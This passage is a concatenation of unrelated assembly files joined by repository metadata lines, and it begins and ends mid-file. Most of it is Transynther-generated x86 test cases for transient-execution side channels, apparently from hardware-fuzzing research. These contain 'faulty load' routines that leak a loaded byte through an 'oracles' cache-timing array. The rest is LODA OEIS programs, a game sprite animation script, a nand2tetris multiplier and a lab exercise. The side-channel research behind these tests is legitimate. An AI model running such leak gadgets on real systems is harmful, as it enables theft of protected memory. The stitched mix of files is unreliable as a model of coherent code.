lea addresses_WC_ht+0x4bff, %rsi
lea addresses_A_ht+0xe20f, %rdi
nop
nop
nop
nop
nop
sub $32144, %r12
mov $115, %rcx
rep movsw
nop
nop
nop
nop
add %rcx, %rcx
lea addresses_normal_ht+0x15cf, %r15
nop
nop
sub %rdx, %rdx
mov $0x6162636465666768, %rcx
movq %rcx, (%r15)
nop
and %rdi, %rdi
lea addresses_D_ht+0x1929d, %rcx
nop
nop
nop
nop
nop
add $25767, %r12
mov $0x6162636465666768, %rdx
movq %rdx, %xmm2
movups %xmm2, (%rcx)
sub $38854, %r10
lea addresses_WC_ht+0xfd5f, %rsi
nop
inc %rcx
mov (%rsi), %r10d
add %rcx, %rcx
lea addresses_UC_ht+0x1eff3, %r12
nop
nop
nop
nop
nop
and %rdi, %rdi
movb $0x61, (%r12)
nop
nop
lfence
lea addresses_D_ht+0x1695f, %rdi
nop
inc %rdx
movw $0x6162, (%rdi)
nop
nop
nop
nop
nop
and $20190, %r10
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %r15
pop %r12
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r13
push %r8
push %r9
push %rbx
push %rsi
// Store
lea addresses_normal+0x1a9ff, %r8
nop
nop
xor %rsi, %rsi
mov $0x5152535455565758, %rbx
movq %rbx, (%r8)
nop
nop
nop
xor %r9, %r9
// Faulty Load
lea addresses_US+0x1a1ff, %r11
nop
nop
nop
nop
nop
add %r13, %r13
vmovups (%r11), %ymm3
vextracti128 $0, %ymm3, %xmm3
vpextrq $1, %xmm3, %r8
lea oracles, %r11
and $0xff, %r8
shlq $12, %r8
mov (%r11,%r8,1), %r8
pop %rsi
pop %rbx
pop %r9
pop %r8
pop %r13
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_US', 'AVXalign': False, 'size': 8}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 11, 'type': 'addresses_normal', 'AVXalign': False, 'size': 8}}
[Faulty Load]
{'src': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_US', 'AVXalign': False, 'size': 32}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 4, 'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 1}}
{'src': {'same': False, 'congruent': 9, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 3, 'type': 'addresses_A_ht'}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 4, 'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 8}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 1, 'type': 'addresses_D_ht', 'AVXalign': False, 'size': 16}}
{'src': {'NT': False, 'same': True, 'congruent': 2, 'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 4}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 1, 'type': 'addresses_UC_ht', 'AVXalign': True, 'size': 1}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 5, 'type': 'addresses_D_ht', 'AVXalign': False, 'size': 2}}
{'48': 12767, '00': 9062}
00 00 48 48 48 48 00 48 48 00 48 48 00 00 48 00 00 48 48 48 48 48 48 48 48 48 48 00 48 00 00 48 48 48 00 00 48 48 00 48 00 00 48 48 48 48 48 48 48 48 00 00 00 48 00 48 00 48 00 48 48 48 48 48 00 00 48 48 00 00 48 00 48 48 48 48 48 48 48 48 48 48 48 00 00 48 48 48 48 48 48 00 48 48 48 48 48 00 48 48 48 48 00 00 48 00 48 48 00 48 48 00 48 00 00 48 48 00 48 00 00 48 48 48 00 48 48 48 00 00 00 48 00 48 48 48 48 48 48 48 48 48 00 00 00 00 00 48 48 48 48 00 00 00 48 00 00 48 00 48 00 48 48 48 48 48 00 00 00 00 48 48 00 48 00 48 48 48 00 48 00 48 48 00 48 48 00 48 48 48 00 00 48 00 00 00 48 48 00 48 00 48 00 48 00 48 48 48 48 48 00 00 48 48 48 48 00 48 00 48 00 00 48 48 00 00 00 48 48 00 48 00 48 48 00 48 00 48 00 00 00 00 00 48 00 00 00 00 00 48 00 00 48 00 48 48 00 00 48 00 48 00 48 00 48 00 48 48 00 00 48 00 00 48 48 00 00 48 00 00 00 48 00 48 00 48 48 48 00 48 48 00 48 48 48 48 00 48 00 48 48 48 00 00 48 00 48 00 00 48 48 00 48 00 00 00 00 48 00 00 48 48 48 00 48 48 48 48 48 48 00 00 00 00 48 48 00 48 00 00 48 00 48 48 00 00 00 48 48 48 48 00 48 00 48 48 00 48 48 48 48 00 00 00 48 48 00 48 00 48 48 48 48 48 00 00 48 00 00 48 48 48 00 48 48 00 00 00 48 48 48 48 48 00 00 48 48 48 48 48 48 48 48 48 00 48 48 00 48 00 48 00 00 00 00 48 00 00 48 48 00 48 48 00 00 48 48 48 48 48 48 48 48 48 00 48 00 00 48 00 48 48 00 48 00 48 48 48 48 48 00 48 48 00 48 00 00 48 48 00 48 48 48 00 00 00 48 48 00 48 48 48 00 48 00 00 00 00 00 00 48 00 48 00 48 48 48 00 48 00 48 48 00 48 00 48 00 48 48 00 00 48 00 00 00 00 48 48 00 48 00 48 48 48 48 48 00 00 48 00 48 00 48 48 00 48 00 48 48 48 48 00 48 00 00 48 48 00 48 00 00 48 48 48 00 48 00 00 48 48 00 48 00 48 00 00 48 00 00 48 00 48 48 00 48 48 00 00 48 00 00 00 00 48 00 00 48 00 48 48 00 00 00 48 00 48 00 00 48 00 48 48 48 00 48 48 48 48 00 00 00 48 00 48 00 00 48 00 00 48 00 00 00 48 48 00 00 00 00 48 00 48 48 48 00 48 48 48 48 48 00 48 48 00 00 00 00 00 48 48 00 48 00 48 00 48 48 48 48 00 00 48 48 48 48 00 00 00 48 48 48 48 48 48 00 48 48 00 48 48 00 48 00 00 00 00 00 00 48 00 48 48 00 48 48 48 48 00 48 00 48 48 48 48 00 48 00 48 48 48 48 00 48 00 48 00 00 00 48 00 00 48 00 48 00 48 48 00 00 48 48 00 00 48 48 48 48 48 48 48 00 48 00 48 00 48 00 48 48 48 00 00 48 00 48 00 00 48 48 48 48 48 48 00 48 00 48 48 48 00 00 48 00 48 48 00 00 48 00 00 48 00 48 00 00 48 00 48 48 48 48 48 00 00 00 48 48 00 00 48 00 48 00 48 00 48 00 48 00 00 48 00 48 00 48 48 48 00 48 00 48 48 48 48 48 00 48 00 00 48 48 48 48 48 48 48 48 00 48 00 00 48 00 00 48 00 48 00 00 00 00 48 48 48 00 48 48 00 00 48 00 48 48 48 48 48 48 48 00 48 00 00 48 48 00 00 48 48 48 00 00 48 00 48 00 00 00 00 48 48 00 48 00 00 48 48 48 48 48 48 48 00 48 00 48 48 48 00 48 00 48 00 48 00 00 48 00 48 48 48 48 48 48 48 00 00 48 00 48 00 48 00 00 48 48 00 48 48 48 00 48 00 00 48 00 48 00 00 00 48 00 00 48 48 00 48 00 48 48 48 00 48 00 00 48 00 48 00 00 48 00 48 00 00 00 00 00 48 00 48 00 48 00 48 48 48 48 48 00 00 00 00 48 48 00 48 00 48 00 00 48 00 48 00 48 00 48 48 00 00
*/
| 38.435065
| 2,999
| 0.658726
|
2817f1495bf2ad62eaac490f69920e15bd3639ea
| 634
|
asm
|
Assembly
|
oeis/106/A106709.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/106/A106709.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/106/A106709.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A106709: Expansion of g.f. -2*x/(1 - 5*x + 2*x^2).
; 0,-2,-10,-46,-210,-958,-4370,-19934,-90930,-414782,-1892050,-8630686,-39369330,-179585278,-819187730,-3736768094,-17045465010,-77753788862,-354678014290,-1617882493726,-7380056440050,-33664517212798,-153562473183890,-700483331493854,-3195291711101490,-14575491892519742,-66486876040395730,-303283396416939166,-1383443230003904370,-6310649357185643518,-28786360325920408850,-131310502915230757214,-598979793924312968370,-2732277963791103327422,-12463430231106890700370,-56852595227952246847006
mul $0,2
mov $2,1
lpb $0
sub $0,2
sub $2,$1
sub $1,$2
mul $1,2
lpe
mov $0,$1
| 48.769231
| 494
| 0.776025
|
650e52ac9bda9941d2659f6f7052f25df2e6f41a
| 398
|
asm
|
Assembly
|
oeis/241/A241807.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/241/A241807.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/241/A241807.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A241807: Numerators of c(n) = (n^2+n+2)/((n+1)*(n+2)*(n+3)) as defined in A241269.
; Submitted by Jamie Morken(m4)
; 1,1,2,7,11,2,11,29,37,23,28,67,79,23,53,121,137,77,86,191,211,29,127,277,301,163,176,379,407,109,233,497,529,281,298,631,667,88,371,781,821,431,452,947,991,259,541,1129,1177,613,638
mov $2,$0
add $2,2
mov $3,$0
pow $0,2
add $0,$2
mul $2,2
add $2,2
mul $2,$3
gcd $2,$0
div $0,$2
| 26.533333
| 183
| 0.638191
|
f9a778a76f816d1549f37feacaf73ddbe2df515f
| 4,580
|
asm
|
Assembly
|
Transynther/x86/_processed/P/_zr_/i9-9900K_12_0xa0_notsx.log_1_1518.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/P/_zr_/i9-9900K_12_0xa0_notsx.log_1_1518.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/P/_zr_/i9-9900K_12_0xa0_notsx.log_1_1518.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r8
push %r9
push %rax
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_A_ht+0x2a00, %rbx
nop
and %r8, %r8
movb (%rbx), %r9b
nop
nop
nop
nop
inc %rsi
lea addresses_D_ht+0x12b00, %rsi
lea addresses_WT_ht+0x22b3, %rdi
nop
nop
nop
nop
nop
sub %r10, %r10
mov $55, %rcx
rep movsl
nop
nop
add $34660, %rsi
lea addresses_WT_ht+0x9b00, %rcx
nop
nop
nop
xor $30370, %rbx
mov (%rcx), %edi
nop
nop
cmp %rbx, %rbx
lea addresses_D_ht+0x67e0, %rsi
lea addresses_UC_ht+0xf723, %rdi
clflush (%rdi)
nop
nop
and %rax, %rax
mov $72, %rcx
rep movsl
nop
nop
cmp $65529, %r8
lea addresses_normal_ht+0xe002, %rdi
clflush (%rdi)
nop
nop
nop
nop
nop
xor $55742, %rsi
movb (%rdi), %r8b
nop
nop
nop
nop
nop
xor $54343, %rcx
lea addresses_WT_ht+0x1ea00, %rsi
lea addresses_D_ht+0x19620, %rdi
nop
nop
nop
nop
xor %r10, %r10
mov $103, %rcx
rep movsl
nop
nop
cmp $55901, %rax
lea addresses_A_ht+0x1c300, %rbx
nop
nop
nop
nop
nop
sub $33916, %r9
movups (%rbx), %xmm2
vpextrq $1, %xmm2, %rsi
nop
nop
nop
add $41544, %r8
lea addresses_normal_ht+0x2d50, %rdi
sub %r8, %r8
movb $0x61, (%rdi)
nop
nop
nop
nop
nop
xor %r8, %r8
lea addresses_WC_ht+0xcd00, %rsi
lea addresses_WT_ht+0xa688, %rdi
nop
nop
sub %rax, %rax
mov $40, %rcx
rep movsl
nop
nop
nop
nop
inc %r10
lea addresses_UC_ht+0x12133, %rax
nop
sub %rcx, %rcx
mov $0x6162636465666768, %r9
movq %r9, %xmm4
vmovups %ymm4, (%rax)
nop
nop
nop
nop
nop
sub %rdi, %rdi
lea addresses_D_ht+0x18120, %rdi
nop
and $48896, %rax
movb $0x61, (%rdi)
nop
nop
cmp %r10, %r10
lea addresses_WC_ht+0x7df8, %rsi
lea addresses_A_ht+0x1d700, %rdi
clflush (%rsi)
nop
nop
nop
nop
sub %r9, %r9
mov $39, %rcx
rep movsq
nop
nop
nop
nop
and %r9, %r9
lea addresses_UC_ht+0x5640, %rsi
lea addresses_A_ht+0x17ca4, %rdi
nop
nop
dec %rax
mov $124, %rcx
rep movsb
nop
nop
xor %rcx, %rcx
lea addresses_WT_ht+0x9340, %rsi
lea addresses_D_ht+0x1c383, %rdi
clflush (%rdi)
sub %r8, %r8
mov $74, %rcx
rep movsb
nop
nop
nop
nop
nop
xor %r9, %r9
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rax
pop %r9
pop %r8
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r14
push %rax
push %rcx
push %rdi
// Faulty Load
mov $0xb00, %rdi
nop
nop
inc %rcx
mov (%rdi), %eax
lea oracles, %r11
and $0xff, %rax
shlq $12, %rax
mov (%r11,%rax,1), %rax
pop %rdi
pop %rcx
pop %rax
pop %r14
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_P', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'type': 'addresses_P', 'AVXalign': False, 'size': 4, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 4}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_D_ht', 'congruent': 8, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 0, 'same': False}}
{'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 11}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_D_ht', 'congruent': 4, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_UC_ht', 'congruent': 0, 'same': False}}
{'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 1}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WT_ht', 'congruent': 8, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 4, 'same': False}}
{'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 10}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 4}}
{'src': {'type': 'addresses_WC_ht', 'congruent': 7, 'same': True}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 3, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 1, 'NT': True, 'same': False, 'congruent': 3}}
{'src': {'type': 'addresses_WC_ht', 'congruent': 2, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_A_ht', 'congruent': 9, 'same': True}}
{'src': {'type': 'addresses_UC_ht', 'congruent': 5, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_A_ht', 'congruent': 2, 'same': True}}
{'src': {'type': 'addresses_WT_ht', 'congruent': 6, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 0, 'same': False}}
{'00': 1}
00
*/
| 20
| 147
| 0.650655
|
171960ecc3b43dbfef8372a85a3a71b0787145b0
| 4,031
|
asm
|
Assembly
|
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0xca_notsx.log_21829_347.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0xca_notsx.log_21829_347.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0xca_notsx.log_21829_347.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
ret
.global s_faulty_load
s_faulty_load:
push %r15
push %r8
push %r9
push %rax
push %rbx
push %rsi
// Store
lea addresses_PSE+0x7228, %rbx
nop
nop
nop
nop
nop
cmp $15051, %rax
mov $0x5152535455565758, %rsi
movq %rsi, %xmm0
vmovups %ymm0, (%rbx)
dec %rsi
// Faulty Load
lea addresses_D+0x150a8, %r15
nop
nop
nop
nop
and %rax, %rax
vmovups (%r15), %ymm0
vextracti128 $1, %ymm0, %xmm0
vpextrq $1, %xmm0, %rbx
lea oracles, %r9
and $0xff, %rbx
shlq $12, %rbx
mov (%r9,%rbx,1), %rbx
pop %rsi
pop %rbx
pop %rax
pop %r9
pop %r8
pop %r15
ret
/*
<gen_faulty_load>
[REF]
{'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_D', 'size': 4, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 7, 'NT': False, 'type': 'addresses_PSE', 'size': 32, 'AVXalign': False}}
[Faulty Load]
{'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_D', 'size': 32, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'36': 21829}
36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36
*/
| 67.183333
| 2,999
| 0.662615
|
17cd1ae9f89611bd42ac7083d5855ba4d4b6e8f1
| 86
|
asm
|
Assembly
|
gfx/pokemon/magby/anim.asm
|
Dev727/ancientplatinum
|
8b212a1728cc32a95743e1538b9eaa0827d013a7
|
[
"blessing"
] | 28
|
2019-11-08T07:19:00.000Z
|
2021-12-20T10:17:54.000Z
|
gfx/pokemon/magby/anim.asm
|
Dev727/ancientplatinum
|
8b212a1728cc32a95743e1538b9eaa0827d013a7
|
[
"blessing"
] | 13
|
2020-01-11T17:00:40.000Z
|
2021-09-14T01:27:38.000Z
|
gfx/pokemon/magby/anim.asm
|
Dev727/ancientplatinum
|
8b212a1728cc32a95743e1538b9eaa0827d013a7
|
[
"blessing"
] | 22
|
2020-05-28T17:31:38.000Z
|
2022-03-07T20:49:35.000Z
|
frame 1, 14
setrepeat 2
frame 2, 07
frame 3, 07
dorepeat 2
frame 4, 16
endanim
| 10.75
| 12
| 0.674419
|
91578ddedd49760a53b0122977e00b9a148eca96
| 477
|
asm
|
Assembly
|
04/mult/Mult.asm
|
InversionSpaces/nand2tetrisSolutions
|
5cebf69aea2d25950890b16c6c8b5b409fc685fc
|
[
"MIT"
] | null | null | null |
04/mult/Mult.asm
|
InversionSpaces/nand2tetrisSolutions
|
5cebf69aea2d25950890b16c6c8b5b409fc685fc
|
[
"MIT"
] | null | null | null |
04/mult/Mult.asm
|
InversionSpaces/nand2tetrisSolutions
|
5cebf69aea2d25950890b16c6c8b5b409fc685fc
|
[
"MIT"
] | null | null | null |
// This file is part of www.nand2tetris.org
// and the book "The Elements of Computing Systems"
// by Nisan and Schocken, MIT Press.
// File name: projects/04/Mult.asm
// Multiplies R0 and R1 and stores the result in R2.
// (R0, R1, R2 refer to RAM[0], RAM[1], and RAM[2], respectively.)
// Put your code here.
@R2
M=0
@R1
D=M
@R3
M=D
(LOOP)
@R3
D=M
@END
D;JEQ
@R2
D=M
@R0
D=D+M
@R2
M=D
@R3
M=M-1
@LOOP
0;JMP
(END)
@END
0;JMP
| 11.357143
| 67
| 0.587002
|
15ce9bcb66be89bdcd40fa33102f7eeac64b02af
| 361
|
asm
|
Assembly
|
ubb/asc/lab02_30092015/c.asm
|
AlexanderChristian/private_courses
|
c80f3526af539e35f93b460f3909f669aaef573c
|
[
"MIT"
] | null | null | null |
ubb/asc/lab02_30092015/c.asm
|
AlexanderChristian/private_courses
|
c80f3526af539e35f93b460f3909f669aaef573c
|
[
"MIT"
] | 6
|
2020-03-04T20:52:39.000Z
|
2022-03-31T00:33:07.000Z
|
ubb/asc/lab02_30092015/c.asm
|
AlexanderChristian/private_courses
|
c80f3526af539e35f93b460f3909f669aaef573c
|
[
"MIT"
] | null | null | null |
ASSUME cs:code, ds:data
data SEGMENT
a db 10
b dw 20
c db 7
x dw ?
data ENDS
code SEGMENT
start:
mov ax,data
mov ds,ax
mov ax,0 ;; ax = 0
mov al,a ; ax = ah(0) + al(a) al = a
mov bx,b ; bx = b
add ax,bx ; ax = ax + bx = a + b
mov bx,0 ; bx = 0
mov bl,c ; bl = c
sub ax,bx ; ax = ax - c
mov x,ax
mov ax,4C00h
int 21h
code ENDS
end start
| 11.645161
| 37
| 0.565097
|
f1b0132ab5f4cecfad30ba6fccaf57d7d03a3e37
| 8,192
|
asm
|
Assembly
|
Transynther/x86/_processed/NC/_zr_/i7-8650U_0xd2_notsx.log_15588_1436.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/NC/_zr_/i7-8650U_0xd2_notsx.log_15588_1436.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/NC/_zr_/i7-8650U_0xd2_notsx.log_15588_1436.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r15
push %rax
push %rcx
push %rdi
push %rsi
lea addresses_D_ht+0x39fc, %rsi
lea addresses_normal_ht+0x1290c, %rdi
nop
nop
nop
nop
cmp $14300, %r15
mov $83, %rcx
rep movsl
nop
nop
nop
add %rsi, %rsi
lea addresses_A_ht+0x126f4, %rax
nop
nop
nop
nop
sub $27632, %r11
mov $0x6162636465666768, %r10
movq %r10, %xmm7
vmovups %ymm7, (%rax)
nop
nop
nop
xor $16325, %rax
lea addresses_UC_ht+0x1a39e, %rdi
nop
nop
nop
add $53189, %rax
mov (%rdi), %r11w
nop
nop
nop
sub %rdi, %rdi
lea addresses_A_ht+0x748c, %rax
nop
nop
nop
nop
nop
inc %rcx
mov (%rax), %si
sub %rcx, %rcx
lea addresses_A_ht+0x510c, %r11
nop
inc %rcx
movb $0x61, (%r11)
xor %rsi, %rsi
lea addresses_WT_ht+0x668c, %rax
nop
nop
nop
nop
cmp $33104, %r10
mov $0x6162636465666768, %r15
movq %r15, %xmm6
movups %xmm6, (%rax)
nop
nop
and $5774, %rdi
lea addresses_WC_ht+0x13f3a, %r10
nop
nop
cmp $28168, %rdi
movb (%r10), %r15b
nop
xor $60312, %r10
lea addresses_UC_ht+0x15f0, %rsi
lea addresses_WC_ht+0x1718c, %rdi
nop
nop
nop
and %r15, %r15
mov $108, %rcx
rep movsq
nop
sub $50096, %rdi
lea addresses_D_ht+0x9f0c, %rax
nop
nop
nop
nop
sub %r15, %r15
movups (%rax), %xmm3
vpextrq $1, %xmm3, %r10
dec %r10
lea addresses_UC_ht+0x14ef4, %rsi
nop
nop
nop
xor %rcx, %rcx
mov $0x6162636465666768, %r15
movq %r15, %xmm5
vmovups %ymm5, (%rsi)
dec %r11
lea addresses_normal_ht+0x19188, %r10
clflush (%r10)
xor %r11, %r11
movw $0x6162, (%r10)
nop
nop
nop
nop
sub %r11, %r11
pop %rsi
pop %rdi
pop %rcx
pop %rax
pop %r15
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r12
push %r8
push %r9
push %rax
push %rsi
// Load
lea addresses_normal+0x1fecc, %r10
nop
mfence
vmovups (%r10), %ymm5
vextracti128 $0, %ymm5, %xmm5
vpextrq $1, %xmm5, %rsi
nop
nop
nop
xor %r11, %r11
// Store
lea addresses_US+0x1e30c, %r9
clflush (%r9)
nop
cmp %r12, %r12
movb $0x51, (%r9)
nop
nop
nop
nop
xor %r12, %r12
// Store
lea addresses_normal+0x1770c, %r10
nop
